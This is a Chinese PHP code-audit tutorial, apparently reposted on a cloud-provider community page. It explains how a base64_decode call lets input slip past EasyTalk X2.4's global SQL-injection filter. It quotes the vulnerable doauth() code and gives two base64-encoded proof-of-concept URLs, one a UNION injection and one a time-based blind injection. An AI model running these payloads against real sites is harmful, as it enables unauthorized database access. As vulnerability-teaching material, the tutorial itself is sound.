【PHP代碼審計執行個體教程】SQL注入-3.全域防護Bypass之Base64Decode

來源:互聯網
上載者:User

0x01 背景

現在的WEB程式基本都有對SQL注入的全域過濾,像PHP開啟了GPC或者在通用檔案common.php上使用addslashes()函數對接收的參數進行過濾,尤其是單引號。同上一篇,我們需要找一些編碼解碼的函數來繞過全域防護,本篇介紹base64decode()的情況。

漏洞來源於烏云: http://www.wooyun.org/bugs/wooyun-2014-050338

0x02 環境搭建

看背景我們使用了低版本的easytalk程式,版本為X2.4

①源碼我打包了一份: http://pan.baidu.com/s/1bopOFNL

②解壓到www的easytalk目錄下,按照提示一步步安裝即可,遇到問題自行百度或Google,成功後訪問如:

0x03 漏洞分析

首先看下源碼結構,用的ThinkPHP架構,比較複雜:

有興趣的可以去研究下再繼續往下看,新手可以知道ThinkPHP對接收的參數是有過濾的,並且根據你伺服器是否開啟GPC會做相應的處理:

1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php檔案第266行:

/** +---------------------------------------------------------- * 如果 magic_quotes_gpc 為關閉狀態,這個函數可以逸出字元串 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @param string $string 要處理的字串 +---------------------------------------------------------- * @return string +---------------------------------------------------------- */static public function addSlashes($string) {    if (!get_magic_quotes_gpc()) {        $string = addslashes($string);    }    return $string;}

2.使用Seay代碼審計系統的全域搜尋功能,搜尋包含關鍵字為”base64_decode”的檔案,發現SettingAction.class.php包含一個對接收的參數auth進行base64_decode的地方:

3.我們跟進這個php檔案,發現雖然使用daddslashes函數進行了注入過濾,但是使用了base64_decode函數對參數auth進行了轉碼從而可以繞過過濾造成注入:

//認證電子郵件public function doauth() {    $_authmsg=daddslashes($_GET['auth']);//再次判斷GPC是否開啟並進行注入過濾    $authmsg=base64_decode($_authmsg);//base64_decode函數對參數進行轉碼處理    $tem=explode(":",$authmsg);//對解碼後的參數authmsg按照“:”進行分割存入數組tem中    $send_id=$tem[0];    $user=M('Users');    $row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();//帶入查詢,在where子句裡,造成注入    if ($_authmsg==$row['auth_email']) {        $user->where("user_id='$send_id'")->setField('auth_email',1);        setcookie('setok', json_encode(array('lang'=>L('mail6'),'ico'=>1)),0,'/');    } else {        setcookie('setok', json_encode(array('lang'=>L('mail7'),'ico'=>2)),0,'/');    }    header('location:'.SITE_URL.'/?m=setting&a=mailauth');}

0x04 漏洞證明

構造擷取資料庫相關資訊的POC:

http://localhost/eazytalk/?m=setting&a=doauth&auth=aGFja2luZycgdW5pb24gc2VsZWN0IHVzZXIoKSwyIw==

查看sql語句發現成功執行:

發現這裡是一個盲注,並沒有輸出,所以我們使用sql盲注的語句。擷取當前資料庫使用者名稱的第一個字元是不是‘r’(ascii值為114)的POC:

http://localhost/eazytalk/?m=index&a=mailactivity&auth=MicgYW5kIChzZWxlY3QgaWYoKGFzY2lpKHN1YnN0cmluZygoc2VsZWN0IHVzZXIoKSksMSwxKSkgPSAxMTQpLHNsZWVwKDUpLDApKSM=

頁面持續了5秒,說明user()的第一個字元為‘r’,查看sql語句發現成功執行:

最後,有興趣的同學可以自己寫個py指令碼來跑這種盲注。

原文地址:

http://www.cnbraid.com/2016/02/18/sql2/

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.